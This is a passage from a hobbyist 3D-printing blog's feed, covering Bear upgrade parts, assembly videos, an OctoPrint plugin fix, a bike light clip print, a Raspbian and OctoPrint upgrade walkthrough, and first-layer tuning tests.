&lt;p&gt;Model: &lt;a class="reference external" href="https://github.com/avolkov/openscad-designs/blob/master/bear-upgrade/dowel_pin.stl"&gt;stl&lt;/a&gt;,  &lt;a class="reference external" href="https://github.com/avolkov/openscad-designs/blob/master/bear-upgrade/dowel_pin.scad"&gt;openscad&lt;/a&gt;&lt;/p&gt;
&lt;img alt="Dowel pin and orientation with shaved-off part facing down" class="align-center" src="/images/2021-04-09/dowel_pin.png" /&gt;
&lt;/div&gt;
&lt;div class="section" id="cable-guide"&gt;
&lt;h3&gt;cable_guide&lt;/h3&gt;
&lt;p&gt;Cable guide for MK3 heated bed, where wiring goes through Y axis carriage.&lt;/p&gt;
&lt;p&gt;Models: &lt;a class="reference external" href="https://github.com/avolkov/openscad-designs/blob/master/bear-upgrade/cable_guide.stl"&gt;stl&lt;/a&gt;,  &lt;a class="reference external" href="https://github.com/avolkov/openscad-designs/blob/master/bear-upgrade/cable_guide.scad"&gt;openscad&lt;/a&gt;&lt;/p&gt;
&lt;img alt="Cable guide for Y axis, with orientation for printing" class="align-center" src="/images/2021-04-09/cable_guide.png" /&gt;
&lt;/div&gt;
&lt;div class="section" id="rod-holder"&gt;
&lt;h3&gt;rod_holder&lt;/h3&gt;
&lt;p&gt;Prusa i3 MK1-compatible rod holders for 340mm smooth rods from v 2.0.0&lt;/p&gt;
&lt;p&gt;Model: &lt;a class="reference external" href="https://github.com/gregsaun/prusa_i3_bear_upgrade/blob/2.0.0/full_upgrade/for_mk2_mk2s/printed_parts/stl/rod_holder.stl"&gt;stl&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="mks-gen-1-4-2040-mount"&gt;
&lt;h3&gt;MKS GEN 1.4 2040 mount&lt;/h3&gt;
&lt;p&gt;This fully customizable mount adapts MKS GEN 1.4 to 2040 aluminum extrusion. I built this with Bear Upgrade in mind, but it should also mount anywhere. This mount also provides means of attaching two 5x7cm daughter boards at the back, cable management for the extruder, heated bed and misc wiring at the bottom, it supports a fan bank with up to 3x 40mm fans.&lt;/p&gt;
&lt;img alt="Bear upgrade with custom mount and cable management" src="https://raw.githubusercontent.com/avolkov/2040-mount/master/mks_gen_1.4/images/board_front.jpg" /&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://www.prusaprinters.org/prints/63239-customizable-mks-gen-14-mount-for-bear-upgrade-204"&gt;Project on prusaprinters&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/avolkov/2040-mount"&gt;OpenSCAD source&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="twist-in-cable-clamp"&gt;
&lt;h3&gt;Twist-in cable clamp&lt;/h3&gt;
&lt;p&gt;This clamp seems to be the one that works best with my setup, as it gives some clearance for the wiring. I used 10x6mm version.&lt;/p&gt;
&lt;p&gt;Project page -- &lt;a class="reference external" href="https://www.thingiverse.com/thing:2613532"&gt;Twist In Cable Clamp [2020 Aluminium Profile]&lt;/a&gt;&lt;/p&gt;
&lt;img alt="Clamp twisted in and holding motor &amp;amp; endstop wiring" class="align-center" src="/images/2021-04-09/clamp.jpg" /&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="tools"&gt;
&lt;h2&gt;Tools&lt;/h2&gt;
&lt;div class="section" id="m3-socket-driver-bit"&gt;
&lt;h3&gt;M3 socket driver bit&lt;/h3&gt;
&lt;p&gt;Handy for  holding M3 nuts when mounting MKS GEN holder&lt;/p&gt;
&lt;blockquote&gt;
Models: &lt;a class="reference external" href="https://github.com/avolkov/openscad-designs/blob/master/tools/m3_socket.stl"&gt;stl&lt;/a&gt;,  &lt;a class="reference external" href="https://github.com/avolkov/openscad-designs/blob/master/tools/m3_socket.scad"&gt;openscad&lt;/a&gt;&lt;/blockquote&gt;
&lt;img alt="m3 socket for holding and tightening m3 screws" class="align-center" src="/images/2021-04-09/m3_socket.png" /&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><category term="3d-printing"></category><category term="3d printing"></category><category term="openscad"></category><category term="bear upgrade"></category></entry><entry><title>Assembling Bear upgrade</title><link href="https://flamy.ca/blog/2021-04-03-assembling-bear-upgrade.html" rel="alternate"></link><published>2021-04-03T00:00:00-04:00</published><updated>2021-04-03T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2021-04-03:/blog/2021-04-03-assembling-bear-upgrade.html</id><summary type="html">&lt;div class="section" id="overview"&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;I had a homemade clone of Prusa i3 MK2 for a while, and it never worked exactly
right. The design is somewhat dated and I have decent quality components in it,
so I thought it would be a worthwhile to try and make a series of videos about it …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="overview"&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;I had a homemade clone of Prusa i3 MK2 for a while, and it never worked exactly
right. The design is somewhat dated and I have decent quality components in it,
so I thought it would be a worthwhile to try and make a series of videos about it.&lt;/p&gt;
&lt;p&gt;I've seen a lot of videos with assembly streams, but I still made mistakes that
weren't covered there.&lt;/p&gt;
&lt;p&gt;What I wanted to do is to make a video showing how assembly would work for someone who is not mechanical engineer, get stuck at some parts, made mistakes, figure out how to fix them and what are the consequences of making those mistakes, without making the video too boring.&lt;/p&gt;
&lt;p&gt;This series of videos covers from initial frame to assembling all the axis. This series doesn't yet cover wiring and electronics.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="videos"&gt;
&lt;h2&gt;Videos&lt;/h2&gt;
&lt;p&gt;Here's the &lt;a class="reference external" href="https://www.youtube.com/watch?v=Sx55A0S23eA&amp;amp;list=PLcgdVGFa8s_rTuY1ENpCwgnCjR3wRUCUu"&gt;Full playlist&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And here's a few introductory videos:&lt;/p&gt;
&lt;div class="youtube"&gt;&lt;iframe src="https://www.youtube.com/embed/Sx55A0S23eA" width="1024" height="768" allowfullscreen seamless frameBorder="0"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;p&gt;Here's the one where I assemble reference corner&lt;/p&gt;
&lt;div class="youtube"&gt;&lt;iframe src="https://www.youtube.com/embed/EyJom1WOhzM" width="1024" height="768" allowfullscreen seamless frameBorder="0"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class="section" id="additional-parts"&gt;
&lt;h2&gt;Additional parts&lt;/h2&gt;
&lt;p&gt;Here's a &lt;a class="reference external" href="/blog/2021-04-09-bear-upgrade-custom-parts.html"&gt;companion list&lt;/a&gt; of all of the custom or non-standard parts I used during the build.&lt;/p&gt;
&lt;p&gt;/blog/2021-04-03-bear-upgrade-custom-parts.html&lt;/p&gt;
&lt;/div&gt;
</content><category term="3d-printing"></category><category term="3d printing"></category><category term="bear upgrade"></category><category term="video"></category></entry><entry><title>Octoprint plugin troubleshooting: bed visualizer</title><link href="https://flamy.ca/blog/2020-04-21-octoprint-plugin-troubleshooting-bed-visualizer.html" rel="alternate"></link><published>2020-04-21T00:00:00-04:00</published><updated>2020-04-21T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-04-21:/blog/2020-04-21-octoprint-plugin-troubleshooting-bed-visualizer.html</id><summary type="html">&lt;p class="first last"&gt;BedVisualizer doesn't get installed&lt;/p&gt;
</summary><content type="html">&lt;p&gt;After updating octoprint to the newest version I've experience the problem with bed visualizer installing but not getting really installed and never showing up in the list of installed plugins in octoprint.&lt;/p&gt;
&lt;p&gt;It took me a while to figure out where to look, especially because I upgraded my octopi system and didn't install it from scratch. Looking in the logs wasg a good place to start.&lt;/p&gt;
&lt;p&gt;Octopi saves all the logs under this directory -- /home/pi/.octoprint/logs/ and the following files are of special interest:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;octoprint.log&lt;/li&gt;
&lt;li&gt;plugin_pluginmanager_console.log&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Looking and pluginmanager while installing bed visualizer:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;2020-04-02 01:54:15,987 &amp;gt; Building wheel for Bed-Visualizer (setup.py): finished with status &amp;#39;done&amp;#39;
2020-04-02 01:54:15,989 &amp;gt; Created wheel for Bed-Visualizer: filename=Bed_Visualizer-0.1.12-py3-none-any.whl size=2516034 sha256=4ee31fc02087b26ed3b5f85a13addbc6989c28e94be1a7bab1351c619532dfc6
2020-04-02 01:54:15,989 &amp;gt; Stored in directory: /tmp/pip-ephem-wheel-cache-goviqro5/wheels/93/c7/cf/2acf99f698a9f1c452a6a9c3747c06b0f46ca92689388ccdd7
2020-04-02 01:54:15,990 &amp;gt; Successfully built Bed-Visualizer
2020-04-02 01:54:15,991 &amp;gt; Installing collected packages: Bed-Visualizer
2020-04-02 01:54:15,991 &amp;gt; Attempting uninstall: Bed-Visualizer
2020-04-02 01:54:15,992 &amp;gt; Found existing installation: Bed-Visualizer 0.1.13
2020-04-02 01:54:15,992 &amp;gt; Uninstalling Bed-Visualizer-0.1.13:
2020-04-02 01:54:15,993 &amp;gt; Successfully uninstalled Bed-Visualizer-0.1.13
2020-04-02 01:54:16,998 &amp;gt; Successfully installed Bed-Visualizer-0.1.12
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Looking at octoprint.log:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  IMPORTANT: PLEASE READ THIS FOR ADVICE ON HOW TO SOLVE THIS ISSUE!

  Importing the numpy c-extensions failed.
  - Try uninstalling and reinstalling numpy.
  - If you have already done that, then:
  1. Check that you expected to use Python3.7 from &amp;quot;/home/pi/OctoPrint/venv/bin/python3&amp;quot;,
   and that you have no directories in your PATH or PYTHONPATH that can
   interfere with the Python and numpy version &amp;quot;1.18.2&amp;quot; you&amp;#39;re trying to use.
  2. If (1) looks fine, you can open a new issue at
   https://github.com/numpy/numpy/issues.  Please include details on:
   - how you installed Python
   - how you installed numpy
   - your operating system
   - whether or not you have multiple versions of Python installed
   - if you built from source, your compiler versions and ideally a build log

  - If you&amp;#39;re working with a numpy git repository, try `git clean -xdf`
(removes all files not under version control) and rebuild numpy.

  Note: this error has many possible causes, so please don&amp;#39;t comment on
  an existing issue about this - open a new one instead.

  Original error was: libf77blas.so.3: cannot open shared object file: No such file or directory
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;That's basically it, it seems that one of the shared libraries was marked as 'no longer required' and it got deleted during the upgrade.&lt;/p&gt;
&lt;p&gt;Figuring out to which package lib77blas.so.3 and installing the dependency:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ apt-file search libf77blas.so.3
libatlas3-base: /usr/lib/x86_64-linux-gnu/libf77blas.so.3
libatlas3-base: /usr/lib/x86_64-linux-gnu/libf77blas.so.3.10.3
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# apt install libatlas3-base
The following additional packages will be installed:
  libgfortran5
The following NEW packages will be installed:
  libatlas3-base libgfortran5
0 upgraded, 2 newly installed, 0 to remove and 3 not upgraded.
Need to get 2,605 kB of archives.
After this operation, 12.3 MB of additional disk space will be used.
Do you want to continue? [Y/n]
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Since then bed visualizer has been working successfully.&lt;/p&gt;
&lt;img alt="screen grab of a workign bed visualizer mesh" class="align-center" src="/images/2020-04-21/bed-visualizer.png" /&gt;
&lt;p&gt;Happy printing!&lt;/p&gt;
</content><category term="3d-printing"></category><category term="3d printing"></category><category term="octoprint"></category><category term="raspbian"></category></entry><entry><title>Practial prints: rear bike light clip</title><link href="https://flamy.ca/blog/2020-04-21-practial-prints-rear-bike-light-clip.html" rel="alternate"></link><published>2020-04-21T00:00:00-04:00</published><updated>2020-04-21T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-04-21:/blog/2020-04-21-practial-prints-rear-bike-light-clip.html</id><summary type="html">&lt;p class="first last"&gt;Using 3d printing to fix something broken&lt;/p&gt;
</summary><content type="html">&lt;p&gt;I've previously complained on mastodon about my broken read bike light, and how I manage to fix it with epoxy. The fix did not last for very long.&lt;/p&gt;
&lt;img alt="A clip for bike light broke again." class="align-center" src="/images/2020-04-21/001_broken_bike_light.jpg" /&gt;
&lt;p&gt;Luckily the part the clip seem to be a replaceable and not a part of housing as I feared. Here is the picture of all the pieces removed  --&lt;/p&gt;
&lt;img alt="A clip for bike light broke again." class="align-center" src="/images/2020-04-21/001a_all_pieces.jpg" /&gt;
&lt;p&gt;The clip itself seem to be a standard part and there is a model of it on thingiverse -- &lt;a class="reference external" href="https://www.thingiverse.com/thing:14504"&gt;https://www.thingiverse.com/thing:14504&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I printed mine with a rough settings in PLA, with 0.5mm nozzle at 0.4mm layer height and no supports, 3 shells and 15% infill.&lt;/p&gt;
&lt;img alt="3d printed part next to a broken part" class="align-center" src="/images/2020-04-21/002_3d_printed_clip.jpg" /&gt;
&lt;p&gt;In retrospect I should have added some supports, though I'm not going to print another copy that looks better because this one fits perfectly after I cleaned out the dirt where the clips is supposed to go.&lt;/p&gt;
&lt;img alt="3d printed clip fits the light receptacle" class="align-center" src="/images/2020-04-21/003_clip_fits.jpg" /&gt;
&lt;p&gt;The print also fits on the bike side.&lt;/p&gt;
&lt;img alt="3d printed clip fits the light receptacle" class="align-center" src="/images/2020-04-21/004_clip_fits_on_bike.jpg" /&gt;
&lt;p&gt;This model was created in 2011 and there doesn't seem to be lots of users making that print, but it did help me save a light that I got for free at the conference 5 years ago. It's the sentimental value that really counts.&lt;/p&gt;
</content><category term="3d-printing"></category><category term="3d printing"></category><category term="thingiverse"></category><category term="3d prints"></category></entry><entry><title>Upgrading from old version Octopi and Raspbian</title><link href="https://flamy.ca/blog/2020-03-25-upgrading-from-old-version-octopi-and-raspbian.html" rel="alternate"></link><published>2020-03-25T00:00:00-04:00</published><updated>2020-03-25T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-03-25:/blog/2020-03-25-upgrading-from-old-version-octopi-and-raspbian.html</id><summary type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;I currently run Octoprint 1.3.0 and would like to upgrade to OctoPrint 1.4.0. The latest version requires Python 3.6/3.7.&lt;/p&gt;
&lt;p&gt;When I tried to upgrade to this version I've realized I still run Raspbian Jessie which only supports Python 3.4. I will …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;I currently run Octoprint 1.3.0 and would like to upgrade to OctoPrint 1.4.0. The latest version requires Python 3.6/3.7.&lt;/p&gt;
&lt;p&gt;When I tried to upgrade to this version I've realized I still run Raspbian Jessie which only supports Python 3.4. I will have to upgrade Raspbian before I can upgrade OctoPrint.&lt;/p&gt;
&lt;img alt="A photo of hardware being upgraded" class="align-center" src="/images/2020-03-25/001_pis.jpg" /&gt;
&lt;p&gt;I want to keep all of my current prints, but this update install Octoprint in a new virtual environment so plugins will not be preserved&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="plugins"&gt;
&lt;h2&gt;Plugins&lt;/h2&gt;
&lt;p&gt;These are OctoPrint Plugins that I use:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://plugins.octoprint.org/plugins/bedlevelvisualizer/"&gt;Bed Visualizer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/ntoff/OctoPrint-FanSpeedSlider"&gt;Fan Speed Control&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://plugins.octoprint.org/plugins/navbartemp/"&gt;Navbar Temperature Plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/fabianonline/OctoPrint-Telegram/blob/stable/README.md"&gt;OctoPrint-Telegram&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="backup"&gt;
&lt;h2&gt;Backup&lt;/h2&gt;
&lt;p&gt;The upgrade process should preserve upldated files metadata and any timelapses but I would like to take backup just in case.&lt;/p&gt;
&lt;p&gt;First go to OctoPrint Settings -&amp;gt; Backup and Restore -&amp;gt; Create backup&lt;/p&gt;
&lt;p&gt;I checked off off &lt;strong&gt;Exclude timelapses from backup&lt;/strong&gt; just because I don't really care about preserving timelapses then click &lt;strong&gt;Create Backup Now&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;After backup is created download the file to your local computer.&lt;/p&gt;
&lt;img alt="Backup and restore dialog for octopi" class="align-center" src="/images/2020-03-25/002_backups.png" /&gt;
&lt;/div&gt;
&lt;div class="section" id="raspbian-upgrade"&gt;
&lt;h2&gt;Raspbian Upgrade&lt;/h2&gt;
&lt;p&gt;Upgrading from Jessie (oldoldstable) is a two-step process first upgrade to Stretch (oldstable) then upgrade to Buster.&lt;/p&gt;
&lt;p&gt;Login as a &lt;strong&gt;pi&lt;/strong&gt; user then become root with the command &lt;strong&gt;sudo -i&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Add Stretch to &lt;strong&gt;/etc/apt/source.list&lt;/strong&gt; repository&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;deb http://raspbian.raspberrypi.org/raspbian/ stretch main contrib non-free rpi
deb http://raspbian.raspberrypi.org/raspbian/ jessie main contrib non-free rpi
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Add Stretch to raspi repository &lt;strong&gt;/etc/apt/sources.list.d/raspi.list&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;deb http://archive.raspberrypi.org/debian/ stretch main ui
deb http://archive.raspberrypi.org/debian/ jessie main ui
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Before running an upgrade I highly recommend connecting raspberry pi via ethernet port if possible as each upgrade is 500MB it may take a while to download that data over flaky wifi connection.&lt;/p&gt;
&lt;p&gt;Upgrade your system and restart the raspberry pi. Write down the new ip address if you're using ethernet interface instead of wifi. You can check your ip address with 'ifconfig' command.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# apt update
# apt dist-upgrade -y
# reboot
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Once Debian Stretch is installed, I'm going to move the system to Buster. Edit the same file removing 'jessie' entry and replace it with 'buster'.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;/etc/apt/source.list&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;deb http://raspbian.raspberrypi.org/raspbian/ stretch main contrib non-free rpi
deb http://raspbian.raspberrypi.org/raspbian/ buster main contrib non-free rpi
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;/etc/apt/sources.list.d/raspi.list&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;deb http://archive.raspberrypi.org/debian/ stretch main ui
deb http://archive.raspberrypi.org/debian/ buster main ui
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Don't upgrade haproxy.cfg if asked as it is used to forward connections from port 80 to port 5000 on which OctoPrint python service runs.&lt;/p&gt;
&lt;p&gt;If you updated the config anyway, move old configuration in place of the new one.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# cd /etc/haproxy
# mv haproxy.cfg.dpkg-old haproxy.cfg
# service haproxy restart
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Run upgrade one more time and restart the system.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# apt update
# apt dist-upgrade -y
# reboot
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="upgrade-octoprint"&gt;
&lt;h2&gt;Upgrade Octoprint&lt;/h2&gt;
&lt;p&gt;Log in as 'pi' user and create venv to be use with octoprint systemd servie script&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ virtualenv -p python3 ~/OctoPrint/venv
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Once venv is installed, activate it&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ source ~/OctoPrint/venv/bin/activate
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Install the latest version of OctoPrint package&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(venv) pi@octopi-12v:~/OctoPrint $ pip install OctoPrint
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Old init scripts no longer work so OctoPrint will not start automatically without an updated to the system. Become root then go to &lt;em&gt;/etc/systemd/system&lt;/em&gt; then download octoprint script into that directory and make it executable, enable octoprint service then restart the system.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo -i
# cd /etc/systemd/system
# wget https://raw.githubusercontent.com/foosel/OctoPrint/master/scripts/octoprint.service
# chmod 755 octoprint.service
# systemctl enable octoprint
# reboot
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The system should now boot into newly updated octoprint.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="reinstalling-plugins-from-command-line"&gt;
&lt;h2&gt;Reinstalling plugins from command line&lt;/h2&gt;
&lt;p&gt;When attempting to reinstall plugins I keep getting errors in the web interface about raspberry pi being throttled because of low voltage on the system.&lt;/p&gt;
&lt;img alt="Throttled message" class="align-center" src="/images/2020-03-25/003_throttled.png" /&gt;
&lt;p&gt;This has been happening for as long as I remember but I haven't had any stability issues, so I will install plugins from command line.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ source ~/OctoPrint/venv/bin/activate
(venv)$ pip install https://github.com/jneilliii/OctoPrint-BedLevelVisualizer/archive/master.zip
(venv)$ pip install https://github.com/ntoff/OctoPrint-fanspeedslider/archive/master.zip
(venv)$ pip install https://github.com/imrahil/OctoPrint-NavbarTemp/archive/master.zip
(venv)$ pip install https://github.com/fabianonline/OctoPrint-Telegram/archive/stable.zip
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Reboot the system&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo reboot
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I'm currently having some issues with plugin. It is likely Python 3 compatibility, I'm trying to figure that out.&lt;/p&gt;
&lt;/div&gt;
</content><category term="3d-printing"></category><category term="3d printing"></category><category term="octoprint"></category><category term="debian"></category><category term="raspbian"></category><category term="python"></category></entry><entry><title>Tweaking the first print layer</title><link href="https://flamy.ca/blog/2020-03-24-tweaking-the-first-print-layer.html" rel="alternate"></link><published>2020-03-24T00:00:00-04:00</published><updated>2020-03-24T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-03-24:/blog/2020-03-24-tweaking-the-first-print-layer.html</id><summary type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;This is a followup to my previous post &lt;a class="reference external" href="/blog/2020-03-22-fixing-the-first-print-layer-when-usual-tweaks-dont-work.html"&gt;Fixing the first layer when usual tweaks don't work&lt;/a&gt;. Where I describe issue of getting poor first layer print quality and the test I use check fixes I come up with.&lt;/p&gt;
&lt;img alt="All test prints in one picture" class="align-center" src="/images/2020-02-18/all_prints.jpg" /&gt;
&lt;p&gt;I started working on this article first, however at the …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;This is a followup to my previous post &lt;a class="reference external" href="/blog/2020-03-22-fixing-the-first-print-layer-when-usual-tweaks-dont-work.html"&gt;Fixing the first layer when usual tweaks don't work&lt;/a&gt;. Where I describe issue of getting poor first layer print quality and the test I use check fixes I come up with.&lt;/p&gt;
&lt;img alt="All test prints in one picture" class="align-center" src="/images/2020-02-18/all_prints.jpg" /&gt;
&lt;p&gt;I started working on this article first, however at the time I haven't found a solution for the problem I was trying to fix I sat on it for a while. Doing work described here, helped me come to a conclusion that something entirely different is wrong with my printer. I hope this could serve as a reference to someone who is looking at a print.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="test-prints"&gt;
&lt;h2&gt;Test prints&lt;/h2&gt;
&lt;p&gt;I started off with the existing settings I had for E3D PLA filament and made some test prints to confirm the problem. I'm only mentioning settings for the first layer because that's the settings being tested.&lt;/p&gt;
&lt;div class="section" id="section-1"&gt;
&lt;h3&gt;#1&lt;/h3&gt;
&lt;p&gt;These are the original settings for the filament.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Nozzle temperature: 195C&lt;/li&gt;
&lt;li&gt;Extrusion multiplier: 1.0&lt;/li&gt;
&lt;li&gt;Nozzle height: default&lt;/li&gt;
&lt;li&gt;Print speed: 15 mm/s^2&lt;/li&gt;
&lt;li&gt;First layer width: 0.42&lt;/li&gt;
&lt;li&gt;Part cooling fan 1st layer: 0%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I heard some clicking noise from the extruder during the print, which indicated that the motor had hard time pushing filament through the extruder. I should increase the nozzle temperature, and try to shrink the first layer to mitigate overlapping layers in the center of the print.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Print test #1. Click on the image for higher resolution&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="15%" /&gt;
&lt;col width="85%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_001_t.jpg"&gt;&lt;img alt="print #1 top" src="/images/2020-02-18/001_t.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_001_b.jpg"&gt;&lt;img alt="print #1 bottom" src="/images/2020-02-18/001_b.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="section-2"&gt;
&lt;h3&gt;#2&lt;/h3&gt;
&lt;p&gt;Brought up the nozzle temperature to 225C, shrank the first layer width from 0.42 to 0.4.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Nozzle temperature: 225&lt;/li&gt;
&lt;li&gt;Extrusion multiplier: 1.0&lt;/li&gt;
&lt;li&gt;Nozzle height: same&lt;/li&gt;
&lt;li&gt;Print speed:  15 mm/s^2&lt;/li&gt;
&lt;li&gt;First layer width: 0.4&lt;/li&gt;
&lt;li&gt;Part cooling fan 1st layer: 0%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The lines on the edges of each extrusion line (top view) indicate that the filament is too viscous and the nozzle temperature might be too hot. Shrinking extrusion with did nothing, so perhaps expanding it will fix overlapping layers at the bottom of the print, also increase the distance between heated bed and the nozzle.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Print test #1. Click on the image for higher resolution&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="15%" /&gt;
&lt;col width="85%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_002_t.jpg"&gt;&lt;img alt="print #2 top" src="/images/2020-02-18/002_t.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_002_b.jpg"&gt;&lt;img alt="print #2 bottom" src="/images/2020-02-18/002_b.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="section-3"&gt;
&lt;h3&gt;#3&lt;/h3&gt;
&lt;p&gt;Brought down the nozzle temperature to 220C, increased the with of the first layer up to 0.45 and slightly increased the distance between heated bed and the nozzle.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Nozzle temperature: 220&lt;/li&gt;
&lt;li&gt;Extrusion multiplier: 1.0&lt;/li&gt;
&lt;li&gt;Nozzle height: slightly increase the distance between bed an nozzle&lt;/li&gt;
&lt;li&gt;Print speed:  15 mm/s^2&lt;/li&gt;
&lt;li&gt;First layer width: 0.45&lt;/li&gt;
&lt;li&gt;Part cooling fan 1st layer: 0%&lt;/li&gt;
&lt;/ul&gt;
